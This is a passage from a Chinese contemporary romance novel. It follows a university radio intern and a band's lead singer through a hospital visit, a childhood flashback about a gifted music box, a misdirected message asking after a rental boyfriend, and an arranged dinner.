陈颂收起手机,微微侧头看向她:“你知道附近哪里有卖伴手礼的地方吗?”
梁岁宜虽然在这里住了一阵子,但对周边的设施还完全不熟,她睁着两只眼懵懂地看向他。
陈颂瞬间就懂了:“好吧,看来求人不如求己。”
他又重新摸出手机,修长的指节在屏幕上不停地滑动着。
太阳渐渐升起来,稀薄的日光穿过楼宇间的缝隙照过来。
陈颂高大的身影有一下没一下地为她遮挡住阳光。
不知过了
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多久,陈颂突然又说:“我过来做客,两手空空不太好,昨天晚上太晚了不方便,所以今天特地出来给你舅舅舅妈买礼物。”
他这话说得很莫名,梁岁宜小小地“噢”了声。
陈颂觑着她,宽大的手掌忽然就轻轻地在她脑袋上揉了下:“所以我不是特地来送你的,不要再纠结了,嗯?”
话虽然这样说,但他还是将她送到了学校才离开。
从舅舅家到学校的路程其实不算近,走到公交站后,还要再坐七站公交车才能到。
早上的公交车有点拥挤,梁岁宜好不容易找到一个座位,陈颂却只能站着。
公交车行驶得很颠簸,陈颂单手攥着拉环,另只手仍拿着手机专心搜索伴手礼。
他站得离梁岁宜很近,随着车厢的晃动,独属于他身上的那股如同雨后苔藓的清香便一下一下晃进梁岁宜的鼻息内。
那一整天,梁岁宜都有些走神。
自从她转学过来以后,便一直都是很努力的形象示人,突然见她频繁发呆,同桌不由得问道:“你今天怎么啦?不好好学习了?”
梁岁宜托住腮,停了一会儿,才在摊开的稿纸上写道:好想快点长大。
同桌说:“长大有什么好?我想一辈子都做小孩子。”
梁岁宜继续托着下巴,老实说,她也不知道长大到底有什么好。
在见到陈颂以后,这个念头忽然就这样没来由地在她心里疯长出来。
那种念头若要深究起来其实也很简单。
大概就是——忽然间迫切地想要变成一个更好的人,迫切地想要离开眼前的一切,迫切地想要丢掉这所有的狼藉和狼狈。
迫切地——
梁岁宜醒来时,是在医院。
浓郁的消毒水的味道随着她的感官醒来便不由分说地钻入她的鼻腔。
这场梦她做得很短,犹如一夕黄粱。
她的右手手背上扎着针,头顶吊着三个很大的盐水瓶。
她住的是一个单人病房,房门被人开了一道小小的缝隙,琐碎的对话声从外面传进来。
“你已经决定好了吗?”是陈颂的声音。
接下来是一道稍显陌生的女声,听起来年龄不大:“唔。”
停顿了几秒,女生又说:“其实去港城做交换生的事情,我老早就申请好了,我没跟我哥说,颂哥你也不要告诉他。”
走廊里似乎有护士推着小车经过,门口的对话声又停顿了片刻。
陈颂说:“这就是你大晚上不去找你哥,跑到这里找我的理由?”
“是。”女生的声音低下去,“我是今天夜里的飞机,等会儿起飞前我就会发声明,说盛嘉其实是我哥,一切都是我不懂事……这几天给你们添麻烦了。”
“……对不起。”
“你确实该说对不起。”陈颂像是低笑了声,“要不是怕盛嘉难过,依我的意思,就是直接把真相公布,你也不小了,做每件事情之前,都要想清楚自己能不能承担后果。”
话虽然这样说,但他的语气并不严厉。
女生大概也听出了他话里的包容,瓮声瓮气地道:“知道了。”
“嗯。”陈颂抬了抬下巴,“话说完了赶紧滚吧,我这儿还有病人呢。”
谢薇听到这里,忍了半天的好奇终于还是占了上风,她踮起脚,透过门上的玻璃窗格往里瞅。
梁岁宜看见她的脑袋露出来,连忙紧张地闭上眼。
然后就听见谢薇跃跃欲试地说:“有一个问题,我想问很久了。”
陈颂懒懒地撩起眼皮:“说。”
谢薇:“里面躺着的,是我嫂子吗?”
5. 等雨歇
“……”陈颂,“不是。”
谢薇的表情似有些失望:“我看你大半夜在这儿守着人,还以为有戏呢。”
她耸了耸肩,对这个无趣的答案没有再探索下去的欲望,于是说道:“那我走了。”
陈颂“嗯”了声:“你现在不想和盛嘉见面我能理解,但这是你第一次出远门,如果遇到什么麻烦,不要自己硬撑着,我也是你哥,懂吧?”
晚上的住院部走廊里挺热闹,时不时便有人经过。
陈颂大抵怕被人认出,鸭舌帽几乎遮住了半张脸,下半张脸上戴了个黑色的口罩,讲话的声音闷闷的带了点鼻音。
谢薇本来都要走了,乍然听见他的声音,脚步一顿。
眼看她眼眶泛起红意,陈颂轻啧了声:“你可千万别哭,不然要是被谁拍下来,我就有理说不清了。”
他的语气透着几分冷酷的嫌弃。
谢薇吸了吸鼻子:“知道啦!”
她调整好身上的背包,想了想,还是没忍住说道:“颂哥你这个人有点太好了,要不是你是我哥,我就对你动心了。”
陈颂唇角抽动了下:“盛嘉也是你哥,我看你也没少对他动心。”
谢薇整张脸瞬间垮下来:“求你别说!”
陈颂低嗤了声,两手插着裤兜。
“行了。”他抬了抬下巴,“快回去吧,有事直接微信找我。”
直到谢薇的身影消失在走廊处,陈颂才懒洋洋地进屋。
梁岁宜正睁着眼躺在病床上。
原本她是想继续装睡的,毕竟,不小心听到别人对话这种事,还是不要让当事人知道比较好。
但梁岁宜又觉得那样不太好,如果她没猜错的话,刚刚和陈颂对话的人,应该就是盛嘉那位“绯闻粉丝”。
陈颂瞥了眼她明显还带着几分病气的脸:“醒了?”
梁岁宜轻“嗯”了声,因为太久没说话,她感觉自己嗓子有点干。
陈颂见状,走过去倒了杯温水递给她。
“谢谢。”梁岁宜浅浅抿了几口,才小声道,“……给你添麻烦了。”
“还好。”陈颂随手拖了把椅子在床前坐下,慢悠悠地道,“毕竟我也是第一次见有人发烧到三十九度还没事人一样在外边淋雨,一点也没有去医院看病的自觉。挺稀奇的,适合当写歌素材。”
他的语气挺正常的,但梁岁宜还是莫名听出了几分阴阳怪气的味道。
沉默了一瞬。
梁岁宜解释说:“我身体比较好,对病症的忍耐度很高,这次是意外。”
她这话说得不假。
因为常年借住在别人家里,梁岁宜怕被人嫌事儿多,所以从很小的时候开始,她对各类病症的忍耐度都比正常人要更高一些。
基本上能吃药就不打针,但凡能忍就绝不喊痛。
“哦。”陈颂从善如流地点头,戏谑道,“那看来这次是我运气不好,正好就撞见了你病晕过去的场面。”
“……”梁岁宜索性换了个话题,“刚刚您和您朋友的对话,我都听见了。”
陈颂的手机一直在震,估计是哆咪他们几个在催他回去,他低头回着消息,闻言不咸不淡地点了下头,不怎么在意地说道:“听见了就听见了,不是什么见不得人的事。”
梁岁宜放下心来。
她那一觉睡得挺长,刚刚醒来时,就已经挂到最后一瓶盐水,两人没说几句,吊瓶就见了底。
陈颂抬头看了一眼,按了下她床头的响铃喊护士来拔针。
值班医生恰好查房查到他们这里,耐心询问了一下梁岁宜的症状,这才转头看向包裹得严严实实的陈颂。
刚刚医生和护士进门后,他就又重新将口罩拉上了。
医生大概以为他全副武装的样子是怕她将感冒传染给他,眉心不动声色地皱了下,这才问:“家属如果要陪房的话,等会儿跟护士去那边登记一下。”
梁岁宜被那声“家属”给懵住几秒,眼睛下意识就扫向陈颂。
男人神色倒是如常,大抵是懒得解释,只是侧头看向梁岁宜,帽檐遮掩下的眼睛里透出一点清浅的笑意:“你一个人能行?”
他其实只是客气地问一下。
大家都是成年人,没什么一个人行不行的。
他俩又不熟,堪堪只见过两次面,他送她来医院,又陪她到现在,已经算仁至义尽。
“可以。”梁岁宜说,没忍住又补充了句,“我是成年人了。”
这话不知哪里戳到了陈颂的笑点,他扬起唇轻笑了声:“对,你是高烧到三十九度都不知道看医生的成年人。”
“……”
晚上九点半,住院部逐渐安静下来。
医生查完房后不久,陈颂便也起身离开。
病房里很快就只剩梁岁宜一个人。
眼看那扇门被陈颂从外面关好,梁岁宜懵怔了一晚上的大脑才逐渐腾出一点思考的空隙。
回想了下自己刚才的一举一动
梁岁宜有些沮丧地捂住了脸。
……总感觉自己好像说了不少蠢话。
搁在床边的手机突然震动起来。
梁岁宜闷闷地接起,对面是闵春的声音:“给你发微信一直没有回,都九点多了,我看外面雨下得大,你还没下班吗?”
梁岁宜低“唔”了声,犹豫了片刻还是说:“我现在在医院。”
像是怕闵春担心,她很快补充:“没什么事,就是有点感冒,我刚刚吊水的时候不小心睡着了,就顺便在医院里住一晚。我现在已经好了,没关系的。”
正说话,病房的门突然被人从外面敲响。
梁岁宜说话的声音一顿,抬眸看向房门的方向:“请进。”
门把再一次被人拧开,陈颂那道修长挺拔的身影重新出现在门口。
“突然想起,”他晃了晃手里的手机,低头在手机屏幕上点了几下,这才将一个二维码递到梁岁宜面前,“加个微信,梁主播?”
见梁岁宜怔愣,他挑眉看她,语气散漫道:“难道你不打算把我帮你垫付的医药费结一下?”
直到陈颂彻底离开,梁岁宜还有些没回过神来。
闵春在电话那头鹌鹑般沉默了好半天,才犹疑地问:“你那边……怎么还有个男人的声音?”
梁岁宜不好透露陈颂的身份,只说是一个合作方,今天下雨她搭对方便车回学校,对方顺路送她来医院就诊。
闵春理解地点点头:“不过,他声音还蛮好听的,而且不知道为什么,总觉得在哪里听过这个声音。”
梁岁宜怕她在这个问题上继续发散,连忙转了话题:“姜思淼怎么样了?”
“哦说起这个,我真的无语了,之前曝光盛嘉的那个女生刚刚发了声明,说自己是盛嘉妹妹,和盛嘉闹别扭冲动之下才在网络上胡言乱语,后来见事态难以收拾,她不知道该怎么办才好,所以才一直没有出声……”
这件事梁岁宜方才已经听当事人说过,但还是配合地捧场:“居然是这样。”
闵春说:“哎,不过我看盛嘉还有陈颂他们都转发了微博,说小姑娘年纪小,希望大家不要骂她之类的。不过还是挺多人在骂的。”
隔日一睡醒,梁岁宜就连忙办了出院手续。
回到宿舍时,其余几个人都还没起床。
梁岁宜把买好的早餐放到桌子上,打开电脑准备做新闻传播学课后作业时,视线忽然落在摆在桌子上的一个手作八音盒上。
那个八音盒的做工不算复杂,木头的小盒子里面钳着水晶玻璃,玻璃镜面上是一个穿着圆舞裙跳舞的小女孩。
八音盒的发条也是木头做的,因为被主人转了太多次,发条的边缘被磨得很圆钝,在清晨熹微的日光里,泛起一片润亮的光。
——是十六岁那年,陈颂送给她的礼物。
当时他跟她说他要去给舅舅舅妈买礼物,晚上下课回家以后,梁岁宜才发现礼物还有她的。
被人端端正正摆在了阁楼的书桌上。
很讲究地用了一条粉色的绸带绑了个漂亮的蝴蝶结。
那天她晚课下得有些迟,回来时舅舅舅妈已经睡下,陈颂和边叙两人手里提着一些啤酒和零食沿着台阶走上来。
阁楼的门没有关,女孩伶仃的身影捧着那方小小的盒子。
陈颂姿态懒散地倚着栏杆,笑笑地说不知道妹妹喜欢什么,看到这个很可爱就买了。
买礼物时他没上什么心,只是礼貌性地给同学的妹妹送一份在他的认知内小女孩会喜欢的东西。
话音落,却见她很认真地在纸上写了句:谢谢。
——那其实是小女孩梁岁宜从小到大,第一次收到“小女孩的礼物”。
陈颂没察觉出异样,轻笑着说:“谢什么谢,这是哥哥应该做的。”
就吊儿郎当地下楼了。
楼下传来易拉罐被拨开的声音。
陈颂和边叙在矮几前席地而坐。
阁楼的门还是没关严实。
梁岁宜听见陈颂轻轻地说:“你能不能跟咱妹
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妹学学啊,人家收到礼物都知道甜甜地说谢谢哥哥。”
——没有甜。
——没有叫“哥哥”。
梁岁宜在心里反驳。
又听边叙说:“要点脸啊,是我妹妹,不是你妹妹。”
陈颂于是说:“那肯定你这个哥哥做得不太好,我看人家小姑娘不怎么喜欢你的样子呢。”
他们之间日常这样互损,但陈颂的话音落下后,那天边叙罕见地没有接话。
第二天早上梁岁宜去上学时,边叙问她晚上几点下课。
那天是周五,不用上晚自习。
梁岁宜报了个时间。
边叙说:“行,晚上带你去吃好吃的。”
舅妈在旁边欲言又止,被舅舅扯了下袖子。
陈颂闲闲倚在旁边一方长桌边,笑着说那看来我今晚要沾妹妹的光了,来樱川两天了,你边叙哥都不愿意带我出去吃大餐。
但那天晚上陈颂并没能和他们一起吃上大餐,下午梁岁宜和边叙碰上面时,才知道他临时有事回明城了。
那天樱川的天气很好,是久违的晴天,暮春的晚风裹挟着丝丝凉意。
梁岁宜穿着校服站在人来人往的学校门口,心里忽然就涌上一点细细的失落来。
她其实很习惯这样希望空的感觉,失落的情绪也只是一闪而逝。
晚上吃饭时,边叙问她:“在樱川待得还开心吗?”
梁岁宜咬着竹筷,乌黑的瞳仁看向边叙,很自然地点了点头。
——其实在哪里对她来讲都差不多。
边叙夹起一片牛肉放到她面前:“我妈有时候脾气不太好,但她没什么坏心,相处久了你就明白了,你也不要太怕她。”
梁岁宜垂下眼,又是很乖地点了一下头。
边叙看着她,无奈地低笑道:“都怪陈颂,怎么突然就走了啊?要是他在,肯定更知道怎么能让你们小姑娘更开心。”
见梁岁宜看他,边叙索性打开话匣子说道:“你别看陈颂看起来好像不是什么正经人,他之前可是全省第一名靠考进我们学校的,现在本科还没读完就好几个老教授抢着想做他硕导,学校里追他的女生一大把。”
他说着,像是为了证明自己话里的可信度似地,掏出手机打开他们学校论坛,直接搜索关键词找到一个视频递到梁岁宜面前。
“喏。”他说,“这是校园文化节的时候他的乐队的演出视频。”
梁岁宜在手机上打字:乐队?
边叙扯起唇角冷哼了声:“你对他了解不够多,这个人就是什么事情显眼他就干什么,恨不得把全世界的目光都吸引到他身上。我大一刚入学的时候跟他一个宿舍可烦他了,感觉跟他一个宿舍都大大降低了我的脱单概率,后来相处久了就觉得吧,他这个人骚包归骚包,但还是有点可取之处。”
其实边叙长得不差,在学校里也是绝对的风云人物那种,他这样说,纯粹是为了幽默一下逗梁岁宜开心。
然而话音落下,许久不见面前的小姑娘有什么反应。
梁岁宜低着头,正两耳不闻窗外事地看视频里陈颂的演出。
他们学校的文化节办得还蛮像样子,舞台搭得很漂亮,暗红色的舞台灯氤氲在一片昏聩的雾气里。
大概是录制视频的设备不怎么好,声音听起来有点躁。
但陈颂干净磁性的声音还是穿透一切阻滞准确无误地落进梁岁宜的耳朵里。
视线里是他冷白的扶着麦的手,腕上戴了条黑色的护腕。
哆咪在他后边边弹吉他边抽烟,盛嘉贝斯弹到一半走到角落里开了瓶矿泉水就朝稳稳丢去。
那是整场文化节的最后一个节目,大家都玩嗨了。
底下观众的欢呼声震耳欲聋。
其中有大半都在喊陈颂的名字。
然而鼓动起整场气氛的主人公却格外安静,清冷散漫地站那儿,眼里笑意撩人,漫不经心地唱:“I''ll spend forever wondering if you knew / I was enchanted to meet you。”
纸花和烟花一起从舞台侧上方飞出来,现场气氛直接被推至高潮。
砰。砰。砰。
梁岁宜手忙脚乱地将视频按了暂停。
脑海里只有弹幕飘过去的那一句:
要命。
这个男人真的该死的撩人。
——那是十六岁的梁岁宜。
——那是二十岁的陈颂。
6. 天晴朗
虽然打了点滴,但梁岁宜的感冒还是反反复复折腾了一个多星期才好清。
期间,赵卫军比大家预想中更早地离开了明城广播台,连带着他那些亲信一起。
那几天办公室里气压很低,大家聊八卦都小心翼翼的。
小艾拖了张椅子挤到梁岁宜面前小声说:“听说闹得挺难看的,原本台里是想让他一个月后再走,因为咱们工作需要交接一下嘛,但经过上次番茄乐队的事儿,江总又怕他再故意搞事情……”
梁岁宜问:“那现在音乐时光先停下来吗?”
之前璐姐问梁岁宜问她愿不愿意跟她一起转到音乐时光,梁岁宜第二天就答应了下来,但后来璐姐一直没找她说这个事,梁岁宜也摸不清到底是什么情况。
小艾说:“据说是打算先停一段时间,对外就说我们内部改革嘛,但应该也不会停太久,最多两周的时间。”
小艾刚说完,璐姐就喊了梁岁宜去她办公室一趟。
璐姐说:“最近的事情你应该都听说了,我们打算把音乐时光重新做,连栏目名称都一起换掉。现在不是都流行可视化电台了吗?你觉得我们干脆做成可视化的怎么样?”
这种问题领导们开会决定就可以了,没必要问她一个实习生的建议。
梁岁宜斟酌道:“现在传统媒体都在尝试着转型,我觉得可以试一试。”
“如果做成可视化的话,这个栏目我想交给你来做,你觉得你能胜任吗?”
梁岁宜微微一愣,她张了张嘴,想说自己不太有这方面的经验,但是内心深处忽然升起一阵隐而待发的欲望,磅礴又压抑地蜷缩在她心底最安静的角落里。
梁岁宜感觉自己的嗓子都有点发干。
璐姐看出她的紧张,微笑道:“说让你做,不是让你立马就上手,我会带你一段时间。”
她停顿了几秒,目光直视着梁岁宜:“我还挺喜欢你的,小梁,现在传统媒体式微,已经没多少人听了,很多人来台里也无非就是想混个经验,好去别的地方高就,但我觉得你是真的喜欢,所以才来到这里。”
她说:“我也不想道德绑架你,毕竟,在这个瞬息万变的互联网时代,我自己守在这里是为了我自己的情怀,但没道理要求别人跟我一起守在这里,所以你不用有压力,就算你拒绝,我也还是会好好带你实习的。”
从璐姐办公室里出来,小艾就又立马八卦地贴了上来:“璐姐找你去干嘛,是音乐时光的事情吗?”
梁岁宜轻“嗯”了声,但也没有和小艾多说。
梁岁宜没有考虑太久,当晚就回复了璐姐表示自己愿意。
璐姐像是对这个结果并没有多少意外。
她说:“小梁,我其实一直觉得你跟我挺像的,虽然你表面上看起来很安静,但内心蛰伏着巨兽。”
那之后,没过几天就来到了明城大学的考试周,梁岁宜每日周转在学校了广电大楼之间。
等忙完一轮时,已经是一个月之后。
再次想起陈颂,是在一个下过雨的夏日傍晚。
当时她跟同时一起去附近的商场吃晚饭,下电梯的时候,温娣突然给她打来电话。
虽然是母女,但她同温娣的关系实在算不上亲近。
犹豫了一下,她冲小艾摆摆手:“你们先去吃,我接个电话。”
饭点的商场很热闹,梁岁宜走到长廊最尽头的窗边。
可能是刚下过雨的缘故,硕大的玻璃外缘缀着星星点点的雨珠。
梁岁宜低声唤道:“妈妈。”
温娣的语气听起来有些不满:“怎么这么久才接电话?”
梁岁宜说现在在吃晚饭的地方,外面太吵。
温娣“嗯”了声,很快地阐明来意:“我上次不是说想介绍个男生给你认识?他过两天刚好出差到明城,我已经把你的微信号给他,你那边通过一下,好好跟人家聊一聊。”
最近温娣特别执着于给她介绍对象,梁岁宜无奈道:“妈妈,我现在大学还没毕业。”
“那又怎么了?现在一边上学一边结婚的人还少吗?我听人家讲结婚证还能加你那个什么……学分呢!”
梁岁宜想说自己还没沦落到需要结婚证加学分的地步。
紧接着又听温娣道:“我知道过去的这些年我这个母亲做得不算称职,你不想听我的话我也能够理解,但你也知道我现在这个病……我想在自己走之前给你找个依靠,就当是完成妈妈最后的心愿,好不好?”
说到最后又带了哭腔。
梁岁宜到嘴的话瞬间又咽了回去。
“妈妈。”她叹了声气,善意又无奈地扯了个小谎,“其实,我有男朋友了。”
挂断电话后,梁岁宜没有立马去吃饭,而是专心致志地翻起了自己的微信通讯录。
她记得之前有个同学在朋友圈里分享过一个小广告,说承租男友,不满意包退。
比小广告更先出现在梁岁宜面前的,是陈颂的微信号。
那天晚上他们两个加上好友之后,就一直没说过话。
为了避免自己再生出什么妄念,梁岁宜甚至都没有修改他的备注。
此时,两人的聊天框里空荡荡的就只有一条系统发来的:您已成
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功添加“SONG”为好友。
梁岁宜神情微顿,后知后觉才想起那天两人加微信的目的是为了方便她归还他帮她垫付的医药费。
现在一个月过去了,她丝毫没提还钱的事。
——看起来很像故意赖账不还。
心里莫名升起一阵窘意。
梁岁宜想了想,发去消息:[不好意思,最近一直在忙,之前的医药费是多少钱?我转给您。]
犹豫了下,又在底下加了个:[小猪鞠躬.JPG]
消息发过去后,对方一时没有回复。
梁岁宜边往地下美食街走,边在手机里继续翻找那个承租男友的小广告。
找到后,她顺着二维码加上客服的微信。
对方很快热情地发了条消息过来。
心动贩售处:[亲亲您好,请问您是男孩子还是女孩子呢?需要租赁男友还是女友呢?]
心动贩售处:[提前说好哦,本店只做脖子以上的清水买卖,脖子以下的任何事情都不能做哦,否则您将会被本店永久拉黑,您的“合约男友/女友”也会被罚款并拉黑哦!]
梁岁宜有些脸热地看着对方发来的消息。
默了默,她回:[我是女生,想租男朋友。我对脖子以下的事情不感兴趣。]
梁岁宜补充:[……脖子以上的事情我也不感兴趣。]
心动贩售处:[收到了亲亲,知道了亲亲,请问亲亲对男友有什么要求呢?]
梁岁宜:[没有太多要求,看起来像个好人就行。]
心动贩售处:[哈哈,亲亲真是一个幽默的人呢。]
心动贩售处:[身高,长相,学历,性格,职业,请具体描述一下这几个方面呢?]
与此同时,陈颂的消息突然跳了出来。
SONG:[?]
梁岁宜手一抖,直接叉掉了陈颂的聊天框。
准备和客服聊完再回复他。
思绪忽然就乱起来。
她心不在焉地在手机上打字:[身高180cm以上,长相过得去就行,性格要温柔一点,懂礼貌一些,学历的话,至少要和我差不多吧,明城大学或以上学校,职业体面一些就可以。]
她自己没太考虑过这些,完全是按照她所认为的温娣会满意的男朋友的样子来写的。
消息编辑完之后,发送过去。
停了大概有两分钟,对面突然回来一个:[?]
梁岁宜愣了愣。
看到对方又发来一条语音。
陈颂的声音低沉含笑:“梁主播,你在相亲吗?”
7. 夏日晚
他那边有点吵,嗡嗡的空调声音很大,还时不时传来断断续续的收银台的电子音。
梁岁宜有些迟钝地眨了下眼。
过了大概五分钟她才意识到究竟发生了什么事。
救。
她好像不小心把消息发到陈颂哪里去了。
梁岁宜看着聊天框,将她那条消息反反复复阅读了好几遍,每一句话每一个词都让人很想死。
梁岁宜犹豫着,想着要不干脆撤回。
——但那样显得太欲盖弥彰。
但不撤回也很尴尬。
正纠结,小艾的消息又跳进来:[宜宜,你电话好了吗?]
梁岁宜现在心里乱得要命,根本就没有吃东西的心情了。
她从陈颂的聊天框里切出来,决定暂时假装自己已死。
心动贩卖处:[亲亲,还在吗?]
梁岁宜:[……在。]
梁岁宜面无表情地直接将和陈颂的聊天框里的那条消息转发给客服。
对方沉默了一会儿:[亲亲这个要求有点高。]
梁岁宜:[。]
心动贩卖处:[不过没问题的!小心会达成每一个客户的心愿的!]
梁岁宜反应了一会儿,才意识到“小心”是指她自己。
心动贩卖处:[不过,由于您的要求太高,所以可能需要一些时间呢。亲亲介意等几天吗?]
梁岁宜:[没关系,不着急。]
心动贩卖处:[好哒!一旦找到合适的对象,小心会第一时间通知您的!]
梁岁宜:[小猪感谢.JPG]
梁岁宜:[小猪挥挥.JPG]
和客服聊完,梁岁宜终于感觉自己内心平静一些。
但她还是不敢打开陈颂的聊天框。
光是看到那一排字,她就感觉自己的脚趾能够抠出一栋大别墅把自己埋进去了。
她生无可恋地叹了声气,手机凑到嘴边给小艾回了条语音:“时间好像不太够了,我去便利店里买点关东煮垫垫吧。”
-
距离明城广电五公里外的便利店。
哆咪一口气拿完四个人的夜宵走到柜台边付账,转过头却见陈颂单手抄着兜站在冰柜旁看着手机面露不解。
哆咪付完款提着袋子走到陈颂跟前,好奇地去看他手机:“看什么呢?”
陈颂熄灭屏幕:“没什么。”
哆咪:“。”
陈颂:“现在民政局很缺业绩吗?”
哆咪:“?”
陈颂啧了声:“就是突然发现连大学生都开始着急相亲了,有点意外。”
哆咪:“……”
便利店的门打开,一股热气扑面而来。
哆咪跟上去:“谁在相亲啊?”
陈颂:“一个认识的人。”
哆咪:“等等,你还认识大学生??我靠我怎么不知道?哪个大学的?男的女的?人家相亲关你什么事?你还想老牛吃嫩草?”
便利店离他们录音室不算远。
两人说这话的时候已经在玄关处换鞋。
屋里的人听见哆咪的话,立马好奇地问:“谁老牛吃嫩草?”
“颂哥。”
“卧槽,那嫩草是谁?”
“一个大学生。”
“哪个大学生?我们见过吗?我们最近没认识什么学生啊……”
眼看话题越扯越离谱,陈颂无语道:“再乱说我就把你们全剁了吃了。”
“……你丧心病狂!”
他们最近在录新歌,已经不眠不休在录音室里待好几天了。
这会儿满嘴跑火车纯粹是为了给彼此提提神,根本没人当真。
陈颂低头拆开面前关东煮的包装袋。
盛嘉又摸过来小声问:“所以,到底是哪个大学生啊?”
陈颂是真的无语了,他轻啧:“还有完没完了?”
盛嘉:“难得听你嘴里提起一个异性,好奇而已。”
陈颂垂着眼:“就只是一个认识的人而已,人家发相亲信息发错了,不小心发到了我这里。”
稳稳嘴里咬着一块蟹柳咕咕哝哝地问:“你怎么知道她是真的发错了,还是故意发给你?”
“对啊!”
哆咪很快对上了他的脑电波:“偶像剧里都是这么演的,她看上你了,故意发给你,假装自己发错了,一切都是为了引起你的注意!”
陈颂嗤了声:“你上次不是说再看偶像剧你就是猪?”
“……”哆咪,“那都是我以前看的。”
陈颂:“呵。”
哆咪:“所以人家说不定是真的对你有意思呢。”
陈颂一副懒得搭理他们的样子,弯腰捞过桌子那头的咖啡拧开,懒洋洋地捏在手里也没有喝,只是淡淡地道:“人家有喜欢的人,以为跟你们一样见一个爱一个?”
这话倒是让其余几人有点意外:“……你连人家有喜欢的人都知道?!”
但陈颂没有继续给他们八卦的机会。
他说完这句,就直接从桌边站起身,垂头扫了眼满桌狼藉,嫌弃道:“赶紧吃完收拾一下,争取今天把这首歌录完,过两天还要去录节目呢。”
说起工作,其余几人立刻收起了玩笑的态度。
陈颂拿起手机,屏幕在这时有所感应似地亮了一下。
梁主播:[您还没告诉我上次医药费是多少钱。]
-
梁岁宜思来想去,还是决定直接把那个尴尬的话题掠过去好了。
好在陈颂也很有礼貌地没有追问她。
SONG:[忘记了。]
梁岁宜:[。]
梁岁宜:[那我……]
字还没打完。
SONG:[下次去明城台录节目的时候,你请我吃顿饭就行。]
梁岁宜今晚没节目,她被璐姐安排到旁边一个娱乐节目里做场务去了。
之前的音乐时光经过改版后,还是保留了原本的栏目名字,只是由以前的传统录制模式改成了可视化的性质。
且为了区别于电视台的综艺节目,比起娱乐性,音乐时光的调性更偏向于话题的深度以及音乐的专业性上。
但璐姐为了锻炼梁岁宜,这一个月以来每天都把她打包进不同的节目里学习经验。
此时台上的几位嘉宾正被惩罚喝苦瓜汁,梁岁宜坐在角落里偷偷摸鱼。
看到陈颂的消息,她稍稍怔了下。
归功于她最近在各个项目组乱窜,因此西红柿毁灭计划的节目行程她是知道的,在下个月的十二号,是一档音综节目。
不过,当天她自己也有节目,因此并不会在音综里打杂。
……
考试周过后,学校就正式放暑假了。
梁岁宜是最后一个离开宿舍的。
闵春临走时,
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问她假期有什么打算。
梁岁宜说:“因为留在明城实习,所以假期应该就不回樱川了。”
闵春说:“真好,我今年暑假也要开始找实习工作了。”
明城台最近也在招实习生,梁岁宜曾问过闵春要不要去面试试一试,闵春连连摇头:“我这人恋家,毕业之后还是想在我爸妈身边工作,既然不会在明城长留,就觉得还是不要在这里浪费时间了。”
梁岁宜点头:“那也挺好的。”
“就是有点舍不得你。”闵春抱住梁岁宜,“其实有时候我挺羡慕你的,感觉你好像就不会被家庭牵绊住,我觉得你好像我小时候在电视剧里看到的那种都市女超人,独立又坚强,我小时候就特想成为你这样的人,但大学这几年让我彻底意识到……我根本就是妈宝女!”
闵春的妈妈之前来过学校几次,梁岁宜也见过,是一个很温柔的女人,每次来明城都会带她们全寝室去吃好吃的,还带她们去看电影及KTV唱歌。
梁岁宜还挺喜欢她的。
这会儿听闵春这样说,梁岁宜低头捋了捋她的头发,笑道:“你那样也很好,我其实也……”
本来想说“我其实也很羡慕你”,话到嘴边不知怎么又忽然顿住。
梁岁宜温柔道:“我也觉得你超厉害的!”
闵春开心了:“我们都超级厉害!”
梁岁宜:“当然!!”
结束完小学生般的对话。
闵春又说:“但我感觉我会想你的。”
梁岁宜说:“现在只是大三实习,又不是真的毕业了,况且想见面的话,你随时都能来找我啊。”
“也是。”闵春不纠结了。
闹钟在旁边响起来,提醒她快点去高铁站。
闵春一下子从床上跳起来。
鸡飞狗跳地坐上出租车后,宿舍里就只剩下梁岁宜一个人。
那是一个仲夏的午后,天气很好,明亮的日光透过繁茂的树叶在地面上洒下斑驳的光影。
梁岁宜送走闵春,慢吞吞走回空荡荡的宿舍里。
因为刚离开三个人,这间不大的房间显得凌乱又空旷,梁岁宜在门口站了会儿,总觉得这样的场景她好像不是第一次面对。
下课铃倏地响起。
还未进入假期的大一和大二的学妹们陆续走入寝室楼。
走廊里逐渐热闹起来。
梁岁宜低头打扫着卫生,突然听见广播站里的小学妹嗓音里压着掩饰不住的兴奋开心地说道:“今天的节目很特殊,和我一起搭档主持的是我们一位非常有名的学长……欢迎我们的优秀学长——西红柿毁灭计划的主唱陈颂!”
梁岁宜的蓦然一怔。
与此同时,她放在桌子上的手机突然震动了下。
明明是半个小时之前的消息,不知道为什么延迟到现在才通知。
是一条语音。
“梁主播,你在学校吗?”
大概是刚跟谁说完话,男人的声音里还带着几分未尽的笑意。
耳畔仍是通过广播喇叭传过来的男人微带着电流的声音,依然是那副懒洋洋的腔调:“学弟学妹们好,我是陈颂。”
手机里的语音自动播放到了下一条。
是和广播里如出一辙的声音。
陈颂轻笑着说:“突然被崔校长抓回学校来当壮丁,就想着如果你也在的话,择日不如撞日,咱们的饭就约在今天吧。”
8. 晴日晚
梁岁宜大一那年看过一部电影。
电影里的女主角年少的时候暗恋一个男生,但是在后来的人生中并没有和暗恋对象产生更多交集。
长大后她按部就班地嫁了人,有一个感情还不错的丈夫,两人还生了一个可爱的女儿。
时过境迁之后,她又意外与小时候喜欢过的人重逢了。
她其实早就不喜欢他了,也很久没有想念过他。
但遇见他的那个瞬间,心跳还是止不住地乱了起来。
她藏到卫生间里,对着镜子整理了半天的妆容。
最后给自己涂了一层漂亮的粉色口红。
那个电影的评价并不算好,但梁岁宜却莫名对这个片段记忆很深。
她觉得她现在的状态就很像那个手忙脚乱涂口红的女主角。
小小的金属床上横七竖八地堆满了衣服,明明这并不是她和他的初次重逢,但可能因为这是特地约好的正式见面,所以心里面升腾起一丝微妙的紧张。
比划了半天,最后梁岁宜还是只穿了一件简单的白色连衣裙出门。
到达约定好的地点时,梁岁宜才发现来吃饭的不止陈颂一人。
广播站的那帮学弟学妹们也嘻嘻哈哈跟着,不算大的包厢里充斥着他们欢天喜地的说话声。
见梁岁宜推门进来,学弟讶异地抬高了声音:“颂哥说要等一个朋友,原来这个朋友是梁学姐啊。”
梁岁宜大一入学后不久就加入了学校广播站,一直到去明城台实习以后,她才因为实在兼顾不来而辞去了学校广播站的工作。
严格算起来,这里的学弟学妹们基本上都在她手底下做过事。
人来齐之后,便要开始点餐。
梁岁宜自然而然地被大家推攘着坐到了陈颂旁边。
学校周边的餐馆不算精致,包厢不大,椅子都挤挤挨挨的。
陈颂个子高,颀长身形坐在那里总显得有些委屈。
梁岁宜低头看他将衣袖半卷在手肘处,袖角有一下没一下地蹭到她手臂皮肤。
